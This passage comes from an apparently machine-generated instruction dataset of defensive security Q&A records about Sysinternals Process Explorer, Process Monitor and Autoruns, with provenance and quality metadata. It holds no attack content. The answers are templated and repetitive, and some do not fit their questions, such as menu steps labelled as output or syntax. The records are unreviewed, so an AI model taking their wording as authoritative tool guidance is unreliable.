"instruction": "How do I read Process Explorer output?", "output": "Interpreting Process Explorer output:\n\nType=handle type, Name=resource path/identifier\n\nExample output:\n```\n# Select process\n# Lower pane shows handles\n# Types: File, Key, Section, Mutant, Event\n# Search: Find > Find Handle or DLL (Ctrl+F)\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-handle-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019920Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020007Z", "updated_at": "2025-12-18T00:11:32.020007Z"} +{"id": "trtp-5efd355fbae5", "instruction": "How can I get the most out of Process Explorer?", "output": "Tips for using Process Explorer:\n\n- Search for specific file handles across all processes\n- Malware often creates unique mutexes\n- Registry handles show configuration access\n\nUseful for: Find open files, Identify registry access, Detect file locking", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-handle-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019920Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020028Z", "updated_at": "2025-12-18T00:11:32.020028Z"} +{"id": "trtp-f1fabb559450", "instruction": "How can Process Explorer help identify malicious activity?", "output": "Using Process Explorer for threat detection:\n\nProcess Explorer's handle view shows all open handles (files, registry keys, mutexes, events) for a process. Useful for understanding what resources a process is accessing.\n\nExample:\n```\n# Select process\n# Lower pane shows handles\n# Types: File, Key, Section, Mutant, Event\n# Search: Find > Find Handle or DLL (Ctrl+F)\n```\n\nTips:\n- Search for specific file handles across all processes\n- Malware often creates unique mutexes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-handle-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019920Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020040Z", "updated_at": "2025-12-18T00:11:32.020040Z"} +{"id": "trtp-9eb3a3f1ea3b", "instruction": "How do forensic investigators use Process Explorer?", "output": "Forensic analysis with Process Explorer:\n\nProcess Explorer's handle view shows all open handles (files, registry keys, mutexes, events) for a process. Useful for understanding what resources a process is accessing.\n\nForensic applications:\n- Find open files\n- Identify registry access\n- Detect file locking\n\nWhat to look for: Type=handle type, Name=resource path/identifier", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-handle-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019920Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020060Z", "updated_at": "2025-12-18T00:11:32.020060Z"} +{"id": "trtp-2d1a20d17df4", "instruction": "What is the typical workflow for using Process Explorer?", "output": "Workflow for Process Explorer Handle View:\n\n1. Understand the context: Process Explorer's handle view shows all open handles (files, registry keys, mutexes, events) for a process. Useful for understanding what resources a process is accessing.\n\n2. Apply the tool:\n```\n# Select process\n# Lower pane shows handles\n# Types: File, Key, Section, Mutant, Event\n# Search: Find > Find Handle or DLL (Ctrl+F)\n```\n\n3. Common scenarios: Find open files, Identify registry access, Detect file locking\n\n4. Best practices:\n - Search for specific file handles across all processes\n - Malware often creates unique mutexes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-handle-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019920Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020075Z", "updated_at": "2025-12-18T00:11:32.020075Z"} +{"id": "trtp-e780a532c31c", "instruction": "What makes Process Explorer useful for this task?", "output": "Advantages of Process Explorer:\n\nProcess Explorer's handle view shows all open handles (files, registry keys, mutexes, events) for a process. Useful for understanding what resources a process is accessing.\n\nBest suited for:\n- Find open files\n- Identify registry access\n- Detect file locking\n- Find malware mutexes\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-handle-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019920Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020100Z", "updated_at": "2025-12-18T00:11:32.020100Z"} +{"id": "trtp-f5985ee2bdac", "instruction": "How do I use Process Explorer alongside other tools in my toolkit?", "output": "Integration points for Process Explorer:\n\nProcess Explorer's handle view shows all open handles (files, registry keys, mutexes, events) for a process. Useful for understanding what resources a process is accessing.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-handle-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019920Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020115Z", "updated_at": "2025-12-18T00:11:32.020115Z"} +{"id": "trtp-6993a1d9a2c0", "instruction": "What do I need to know about Process Monitor?", "output": "Process Monitor Overview\n\nProcess Monitor (ProcMon) captures real-time file system, registry, and process/thread activity. Shows every operation with result codes. Essential for malware analysis and troubleshooting.\n\nPlatform: windows\n\nCommon uses:\n- Track file modifications\n- Monitor registry changes\n- Debug application issues\n- Analyze malware behavior", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020362Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020394Z", "updated_at": "2025-12-18T00:11:32.020394Z"} +{"id": "trtp-e1681ef8d855", "instruction": "Show me the basic syntax for Process Monitor.", "output": "Syntax for Process Monitor:\n\nprocmon64.exe\n\nProcess Monitor (ProcMon) captures real-time file system, registry, and process/thread activity. Shows every operation with result codes. Essential for malware analysis and troubleshooting.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020362Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020408Z", "updated_at": "2025-12-18T00:11:32.020408Z"} +{"id": "trtp-35544b407610", "instruction": "Provide an example of using Process Monitor.", "output": "Example of Process Monitor Overview:\n\n```\n# Start capture (Ctrl+E)\n# Filter: Filter > Filter (Ctrl+L)\n# Process Name is malware.exe then Include\n# Operation is WriteFile then Include\n# Save: File > Save (PML format)\n```\n\nInterpretation: Columns: Time, Process, Operation, Path, Result, Detail. SUCCESS vs NAME NOT FOUND vs ACCESS DENIED", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020362Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020429Z", "updated_at": "2025-12-18T00:11:32.020429Z"} +{"id": "trtp-763f7c9aac06", "instruction": "What security tasks can I accomplish with Process Monitor?", "output": "Use cases for Process Monitor:\n\n- Track file modifications\n- Monitor registry changes\n- Debug application issues\n- Analyze malware behavior\n\nProcess Monitor (ProcMon) captures real-time file system, registry, and process/thread activity. Shows every operation with result codes. Essential for malware analysis and troubleshooting.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020362Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020444Z", "updated_at": "2025-12-18T00:11:32.020444Z"} +{"id": "trtp-3dd62ea0a0ae", "instruction": "Explain the output of Process Monitor.", "output": "Interpreting Process Monitor output:\n\nColumns: Time, Process, Operation, Path, Result, Detail. SUCCESS vs NAME NOT FOUND vs ACCESS DENIED\n\nExample output:\n```\n# Start capture (Ctrl+E)\n# Filter: Filter > Filter (Ctrl+L)\n# Process Name is malware.exe then Include\n# Operation is WriteFile then Include\n# Save: File > Save (PML format)\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020362Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020467Z", "updated_at": "2025-12-18T00:11:32.020467Z"} +{"id": "trtp-57082aa64cd1", "instruction": "What are common tips for Process Monitor?", "output": "Tips for using Process Monitor:\n\n- Always filter to reduce noise\n- Use boot logging for startup analysis\n- Export to CSV for analysis\n\nUseful for: Track file modifications, Monitor registry changes, Debug application issues", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020362Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020488Z", "updated_at": "2025-12-18T00:11:32.020488Z"} +{"id": "trtp-d0aff7e8f892", "instruction": "What should I look for when using Process Monitor for incident response?", "output": "Using Process Monitor for threat detection:\n\nProcess Monitor (ProcMon) captures real-time file system, registry, and process/thread activity. Shows every operation with result codes. Essential for malware analysis and troubleshooting.\n\nExample:\n```\n# Start capture (Ctrl+E)\n# Filter: Filter > Filter (Ctrl+L)\n# Process Name is malware.exe then Include\n# Operation is WriteFile then Include\n# Save: File > Save (PML format)\n```\n\nTips:\n- Always filter to reduce noise\n- Use boot logging for startup analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020362Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020502Z", "updated_at": "2025-12-18T00:11:32.020502Z"} +{"id": "trtp-215c393f781b", "instruction": "How do forensic investigators use Process Monitor?", "output": "Forensic analysis with Process Monitor:\n\nProcess Monitor (ProcMon) captures real-time file system, registry, and process/thread activity. Shows every operation with result codes. Essential for malware analysis and troubleshooting.\n\nForensic applications:\n- Track file modifications\n- Monitor registry changes\n- Debug application issues\n\nWhat to look for: Columns: Time, Process, Operation, Path, Result, Detail. SUCCESS vs NAME NOT FOUND vs ACCESS DENIED", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020362Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020515Z", "updated_at": "2025-12-18T00:11:32.020515Z"} +{"id": "trtp-3d4da37ad89f", "instruction": "What is the typical workflow for using Process Monitor?", "output": "Workflow for Process Monitor Overview:\n\n1. Understand the context: Process Monitor (ProcMon) captures real-time file system, registry, and process/thread activity. Shows every operation with result codes. Essential for malware analysis and troubleshooting.\n\n2. Apply the tool:\n```\n# Start capture (Ctrl+E)\n# Filter: Filter > Filter (Ctrl+L)\n# Process Name is malware.exe then Include\n# Operation is WriteFile then Include\n# Save: File > Save (PML format)\n```\n\n3. Common scenarios: Track file modifications, Monitor registry changes, Debug application issues\n\n4. Best practices:\n - Always filter to reduce noise\n - Use boot logging for startup analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020362Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020541Z", "updated_at": "2025-12-18T00:11:32.020541Z"} +{"id": "trtp-2b49ee7c497a", "instruction": "What are the advantages of Process Monitor for security analysis?", "output": "Advantages of Process Monitor:\n\nProcess Monitor (ProcMon) captures real-time file system, registry, and process/thread activity. Shows every operation with result codes. Essential for malware analysis and troubleshooting.\n\nBest suited for:\n- Track file modifications\n- Monitor registry changes\n- Debug application issues\n- Analyze malware behavior\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020362Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020555Z", "updated_at": "2025-12-18T00:11:32.020555Z"} +{"id": "trtp-7ab67e74625e", "instruction": "How do I use Process Monitor alongside other tools in my toolkit?", "output": "Integration points for Process Monitor:\n\nProcess Monitor (ProcMon) captures real-time file system, registry, and process/thread activity. Shows every operation with result codes. Essential for malware analysis and troubleshooting.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020362Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020572Z", "updated_at": "2025-12-18T00:11:32.020572Z"} +{"id": "trtp-0f5a97bb7cba", "instruction": "How do security analysts use Process Monitor?", "output": "Process Monitor Filtering\n\nProcMon filters reduce output to relevant events. Filter by process, operation type, path, result, and more. Essential due to high event volume.\n\nPlatform: windows\n\nCommon uses:\n- Reduce noise\n- Focus analysis\n- Track specific behavior\n- Debug specific issues", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020844Z", "updated_at": "2025-12-18T00:11:32.020844Z"} +{"id": "trtp-5670867689bc", "instruction": "What command or query syntax does Process Monitor use?", "output": "Syntax for Process Monitor:\n\nFilter > Filter (Ctrl+L)\n\nProcMon filters reduce output to relevant events. Filter by process, operation type, path, result, and more. Essential due to high event volume.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020869Z", "updated_at": "2025-12-18T00:11:32.020869Z"} +{"id": "trtp-c0fdddc614e1", "instruction": "Demonstrate Process Monitor Filtering with an example.", "output": "Example of Process Monitor Filtering:\n\n```\n# Include specific process\nProcess Name | is | malware.exe | Include\n\n# Exclude noise\nProcess Name | is | System | Exclude\nOperation | begins with | IRP_MJ | Exclude\n\n# Focus on writes\nOperation | contains | Write | Include\n```\n\nInterpretation: Green highlight = included, Red = excluded. Multiple filters combine.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020881Z", "updated_at": "2025-12-18T00:11:32.020881Z"} +{"id": "trtp-869458854392", "instruction": "Provide an example of using Process Monitor.", "output": "Here is a practical example of Process Monitor:\n\n```\n# Include specific process\nProcess Name | is | malware.exe | Include\n\n# Exclude noise\nProcess Name | is | System | Exclude\nOperation | begins with | IRP_MJ | Exclude\n\n# Focus on writes\nOperation | contains | Write | Include\n```\n\nProcMon filters reduce output to relevant events. Filter by process, operation type, path, result, and more. Essential due to high event volume.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020900Z", "updated_at": "2025-12-18T00:11:32.020900Z"} +{"id": "trtp-ce1590774875", "instruction": "When should I use Process Monitor?", "output": "Use cases for Process Monitor:\n\n- Reduce noise\n- Focus analysis\n- Track specific behavior\n- Debug specific issues\n\nProcMon filters reduce output to relevant events. Filter by process, operation type, path, result, and more. Essential due to high event volume.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020912Z", "updated_at": "2025-12-18T00:11:32.020912Z"} +{"id": "trtp-67f65ed12615", "instruction": "Explain the output of Process Monitor.", "output": "Interpreting Process Monitor output:\n\nGreen highlight = included, Red = excluded. Multiple filters combine.\n\nExample output:\n```\n# Include specific process\nProcess Name | is | malware.exe | Include\n\n# Exclude noise\nProcess Name | is | System | Exclude\nOperation | begins with | IRP_MJ | Exclude\n\n# Focus on writes\nOperation | contains | Write | Include\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020934Z", "updated_at": "2025-12-18T00:11:32.020934Z"} +{"id": "trtp-884e835c4f08", "instruction": "How can I get the most out of Process Monitor?", "output": "Tips for using Process Monitor:\n\n- Start broad then narrow\n- Save filter sets for reuse\n- Exclude common noise sources first\n\nUseful for: Reduce noise, Focus analysis, Track specific behavior", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020946Z", "updated_at": "2025-12-18T00:11:32.020946Z"} +{"id": "trtp-28837ea9d78d", "instruction": "What should I look for when using Process Monitor for incident response?", "output": "Using Process Monitor for threat detection:\n\nProcMon filters reduce output to relevant events. Filter by process, operation type, path, result, and more. Essential due to high event volume.\n\nExample:\n```\n# Include specific process\nProcess Name | is | malware.exe | Include\n\n# Exclude noise\nProcess Name | is | System | Exclude\nOperation | begins with | IRP_MJ | Exclude\n\n# Focus on writes\nOperation | contains | Write | Include\n```\n\nTips:\n- Start broad then narrow\n- Save filter sets for reuse", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020965Z", "updated_at": "2025-12-18T00:11:32.020965Z"} +{"id": "trtp-4aca67789f3b", "instruction": "What artifacts does Process Monitor analyze?", "output": "Forensic analysis with Process Monitor:\n\nProcMon filters reduce output to relevant events. Filter by process, operation type, path, result, and more. Essential due to high event volume.\n\nForensic applications:\n- Reduce noise\n- Focus analysis\n- Track specific behavior\n\nWhat to look for: Green highlight = included, Red = excluded. Multiple filters combine.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.020978Z", "updated_at": "2025-12-18T00:11:32.020978Z"} +{"id": "trtp-40bbed90b03a", "instruction": "How do I incorporate Process Monitor into my security workflow?", "output": "Workflow for Process Monitor Filtering:\n\n1. Understand the context: ProcMon filters reduce output to relevant events. Filter by process, operation type, path, result, and more. Essential due to high event volume.\n\n2. Apply the tool:\n```\n# Include specific process\nProcess Name | is | malware.exe | Include\n\n# Exclude noise\nProcess Name | is | System | Exclude\nOperation | begins with | IRP_MJ | Exclude\n\n# Focus on writes\nOperation | contains | Write | Include\n```\n\n3. Common scenarios: Reduce noise, Focus analysis, Track specific behavior\n\n4. Best practices:\n - Start broad then narrow\n - Save filter sets for reuse", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021003Z", "updated_at": "2025-12-18T00:11:32.021003Z"} +{"id": "trtp-8d0ba3f7d53d", "instruction": "What are the advantages of Process Monitor for security analysis?", "output": "Advantages of Process Monitor:\n\nProcMon filters reduce output to relevant events. Filter by process, operation type, path, result, and more. Essential due to high event volume.\n\nBest suited for:\n- Reduce noise\n- Focus analysis\n- Track specific behavior\n- Debug specific issues\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021016Z", "updated_at": "2025-12-18T00:11:32.021016Z"} +{"id": "trtp-9bf4443a1a12", "instruction": "How do I use Process Monitor alongside other tools in my toolkit?", "output": "Integration points for Process Monitor:\n\nProcMon filters reduce output to relevant events. Filter by process, operation type, path, result, and more. Essential due to high event volume.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-monitor-filtering", "license": "original", "retrieved_at": "2025-12-18T00:11:32.020811Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021038Z", "updated_at": "2025-12-18T00:11:32.021038Z"} +{"id": "trtp-fb515c0c18ed", "instruction": "Describe Autoruns Overview.", "output": "Autoruns Overview\n\nAutoruns shows all programs configured to start automatically including registry keys, scheduled tasks, services, drivers, and more. Comprehensive persistence discovery tool.\n\nPlatform: windows\n\nCommon uses:\n- Discover persistence mechanisms\n- Find malware autostart entries\n- Audit startup programs\n- Identify unwanted software", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-autoruns-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021331Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021352Z", "updated_at": "2025-12-18T00:11:32.021352Z"} +{"id": "trtp-35347304347a", "instruction": "How do I use Autoruns?", "output": "Syntax for Autoruns:\n\nautoruns64.exe\n\nAutoruns shows all programs configured to start automatically including registry keys, scheduled tasks, services, drivers, and more. Comprehensive persistence discovery tool.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-autoruns-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021331Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021373Z", "updated_at": "2025-12-18T00:11:32.021373Z"} +{"id": "trtp-0efa265bb6c2", "instruction": "Give me a practical example of Autoruns.", "output": "Example of Autoruns Overview:\n\n```\n# Scan system\n# Yellow = file not found\n# Red = unsigned or bad signature\n# Options > Scan Options > Check VirusTotal\n# Options > Hide Microsoft Entries\n```\n\nInterpretation: Tabs = persistence locations. Yellow/Red = suspicious. VT column = VirusTotal detection ratio.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-autoruns-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021331Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021384Z", "updated_at": "2025-12-18T00:11:32.021384Z"} +{"id": "trtp-ad48deb16d75", "instruction": "What are the use cases for Autoruns?", "output": "Use cases for Autoruns:\n\n- Discover persistence mechanisms\n- Find malware autostart entries\n- Audit startup programs\n- Identify unwanted software\n\nAutoruns shows all programs configured to start automatically including registry keys, scheduled tasks, services, drivers, and more. Comprehensive persistence discovery tool.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-autoruns-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021331Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021405Z", "updated_at": "2025-12-18T00:11:32.021405Z"} +{"id": "trtp-df5ce5c5fe72", "instruction": "Explain the output of Autoruns.", "output": "Interpreting Autoruns output:\n\nTabs = persistence locations. Yellow/Red = suspicious. VT column = VirusTotal detection ratio.\n\nExample output:\n```\n# Scan system\n# Yellow = file not found\n# Red = unsigned or bad signature\n# Options > Scan Options > Check VirusTotal\n# Options > Hide Microsoft Entries\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-autoruns-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021331Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021416Z", "updated_at": "2025-12-18T00:11:32.021416Z"} +{"id": "trtp-5b12790bd00c", "instruction": "What are some tips for using Autoruns?", "output": "Tips for using Autoruns:\n\n- Hide Microsoft entries for cleaner view\n- Check VirusTotal integration\n- Compare to known-good baseline\n- Look at Logon, Services, Scheduled Tasks tabs\n\nUseful for: Discover persistence mechanisms, Find malware autostart entries, Audit startup programs", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-autoruns-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021331Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021435Z", "updated_at": "2025-12-18T00:11:32.021435Z"} +{"id": "trtp-1b2ae1a3b766", "instruction": "How do I use Autoruns for threat detection?", "output": "Using Autoruns for threat detection:\n\nAutoruns shows all programs configured to start automatically including registry keys, scheduled tasks, services, drivers, and more. Comprehensive persistence discovery tool.\n\nExample:\n```\n# Scan system\n# Yellow = file not found\n# Red = unsigned or bad signature\n# Options > Scan Options > Check VirusTotal\n# Options > Hide Microsoft Entries\n```\n\nTips:\n- Hide Microsoft entries for cleaner view\n- Check VirusTotal integration", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-autoruns-overview", "license": "original", "retrieved_at": 